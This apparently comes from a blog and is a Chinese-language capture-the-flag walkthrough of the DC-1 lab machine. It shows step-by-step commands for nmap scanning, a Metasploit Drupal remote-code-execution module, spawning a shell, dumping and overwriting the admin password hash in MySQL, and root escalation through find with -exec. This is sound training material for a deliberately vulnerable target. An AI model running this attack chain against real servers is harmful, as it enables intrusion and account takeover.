DC-1內(nèi)網(wǎng)靶機入門
DC-1
1、安裝dc-1 靶機
2、內(nèi)網(wǎng)掃描
查看主機IP
ip a
ifconfig

nmap掃描全網(wǎng)段
nmap -A -p- -v 192.168.27.0/24
-A 選項會執(zhí)行操作系統(tǒng)探測、腳本掃描和服務(wù)/版本探測
-p-全端口掃描
-v 輸出詳細信息
或者
nmap -A 192.168.27.0/24

掃描之后查看結(jié)果
根據(jù)掃描出來的信息判斷出靶機IP為192.168.27.137,且cms為drupal,語言為php,服務(wù)器為Linux,中間件為apache

掃描出ip之后也可以用指紋掃描工具來掃描出它的其他信息
whatweb 192.168.27.137 -v

訪問ip
也可以利用插件識別出cms為drupal7,語言為php,服務(wù)器為Linux,中間件為apache

3、漏洞利用
首先嘗試弱口令登陸,后臺掃描端口掃描然后啥也沒有
知道了cms那就百度一下發(fā)現(xiàn)存在遠程代碼執(zhí)行漏洞

打開msf查找可利用模塊
msfconsole
search drupal

選擇模塊
use 1

查看需要配置的參數(shù)

配置參數(shù)
設(shè)置一下RHOSTS內(nèi)容(就是攻擊目標IP地址,靶場地址)
set rhosts 192.168.27.137
run攻擊
將反彈命令行控制臺meterpreter,輸入shell就可以執(zhí)行命令了
run
執(zhí)行shell命令
shell

ls查看當(dāng)前文件目錄

發(fā)現(xiàn)flag1
查看flag1的內(nèi)容
cat flag1.txt

Every good CMS needs a config file - and so do you.
每個好的CMS都需要一個配置文件 - 你也是如此。
查看配置文件
根據(jù)提示查看配置文件,百度drupal地址,
cat /sites/default/settings.php

發(fā)現(xiàn)flag2
暴力破解和字典攻擊不是
* 獲得訪問權(quán)限的唯一方法(并且您將需要訪問權(quán)限)。
* 您可以使用這些憑據(jù)做什么?
還有意外收獲,數(shù)據(jù)庫用戶名和密碼
進入交互式shell
查看有效用戶權(quán)限為www-data,現(xiàn)在我們處于的shell為非交互式shell,現(xiàn)在需要進入交互式shell ,而且他的權(quán)限是www-data權(quán)限,權(quán)限較低很多命令不能執(zhí)行
whoami
python -c 'import pty;pty.spawn("/bin/bash")'
利用python反彈一個交互式shell TTY

連接數(shù)據(jù)庫
mysql -u dbuser -p

查看數(shù)據(jù)庫數(shù)據(jù)表
show databases;
use drupaldb;
show tables;
發(fā)現(xiàn)user表

查看users表的數(shù)據(jù)
select * from users;

select name,pass from users;

管理員賬號密碼修改
發(fā)現(xiàn)是經(jīng)過加密的,且加密方式為哈希函數(shù)算法,在一般情況下服務(wù)器驗證輸入的密碼是否正確時是通過加密輸入的密碼與正確的加密后的密碼比對,來判斷是否輸入正確。
這個百度找到drupal的加密文件,通過數(shù)據(jù)庫內(nèi)容修改來實現(xiàn)管理員密碼的修改

exit;
php ./scripts/password-hash.sh 123456
mysql -u dbuser -p
use drupaldb;
update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';

登陸
content模塊下找到flag3
根據(jù)提示為:特殊的 PERMS 將幫助找到 passwd - 但您需要 -exec 該命令才能弄清楚如何獲取陰影中的內(nèi)容。
此時猜測應(yīng)該是:find+perms+exec 命令用來提權(quán)
查看用戶信息,發(fā)現(xiàn)flag4

查看flag4用戶目錄

flag4的內(nèi)容:
您可以使用相同的方法在root中查找或訪問該標志嗎?
可能。但也許這并不容易。 或者也許是?
此時,還是避免不了root
find /root
find命令是用來在指定目錄下查找文件。任何位于參數(shù)之前的字符串都將被視為欲查找的目錄名。如果使用該命令時,不設(shè)置任何參數(shù),則find命令將在當(dāng)前目錄下查找子目錄與文件,并將查找到的子目錄和文件全部進行顯示。
發(fā)現(xiàn)flag文件

提權(quán)
find ./ acce -exec '/bin/sh' \;

拿到最后一個flag,結(jié)束

浙公網(wǎng)安備 33010602011771號